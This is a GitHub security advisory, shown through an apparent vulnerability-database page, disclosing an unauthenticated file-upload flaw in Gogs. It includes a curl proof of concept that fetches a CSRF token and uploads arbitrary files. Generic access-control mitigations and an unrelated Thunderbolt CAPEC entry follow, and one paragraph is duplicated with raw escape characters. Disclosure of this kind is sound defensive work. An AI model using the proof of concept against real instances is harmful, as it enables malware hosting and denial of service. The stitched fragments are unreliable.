GHSA-FC3H-92P8-H36F
Vulnerability from github – Published: 2026-02-17 18:44 – Updated: 2026-02-19 21:23Security Advisory:Unauthenticated File Upload in Gogs Vulnerability Type: Unauthenticated File Upload Date: Aug 5, 2025 Discoverer: OpenAI Security Research
Summary
Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.
Affected Versions
- Software: Gogs
- Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e
- Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints
- Introduced Commit: 07818d5fa
Vulnerability Details
The web.go router exposes the following endpoints under the ignSignIn route group:
Vulnerable Code Snippet
m.Post("/issues/attachments", repo.UploadIssueAttachment)
m.Post("/releases/attachments", repo.UploadReleaseAttachment)
These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.
While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.
Description
Anonymous file upload using only default configuration and a CSRF token obtained from the homepage.
POC
# Run Gogs docker
docker start gogs
# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database
# Get CSRF cookie into a jar
curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null
# Extract the _csrf value from the jar
CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"
# Upload the file, sending cookie jar + header
curl -sS \
-b cookies.txt -c cookies.txt \
-H "X-CSRF-Token: $CSRF" \
-H "Referer: http://localhost:10880/" \
-F "file=@image.png" \
http://localhost:10880/issues/attachments
=> {"uuid":"<UUID>"}
The attachment will be available at: http://localhost:10880/attachments/
Impact
Unrestricted File Upload: Attackers can store arbitrary content on the server. Denial-of-Service: Repeated uploads can exhaust disk space. Malware Hosting: Gogs may inadvertently serve attacker-hosted payloads under its domain.
Realistic Exploitation Scenarios
- Spammers or malicious actors use the Gogs instance to host phishing payloads or malware.
- Attackers fill up disk with repeated uploads.
- Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration)
Potential Impact
This unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.

This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.\n\n## Timeline\n\n- August 2025: Discovered via GPT5\n- August 2025: Reproduced and confirmed via PoC and sanitizer\n- Aug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new",

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
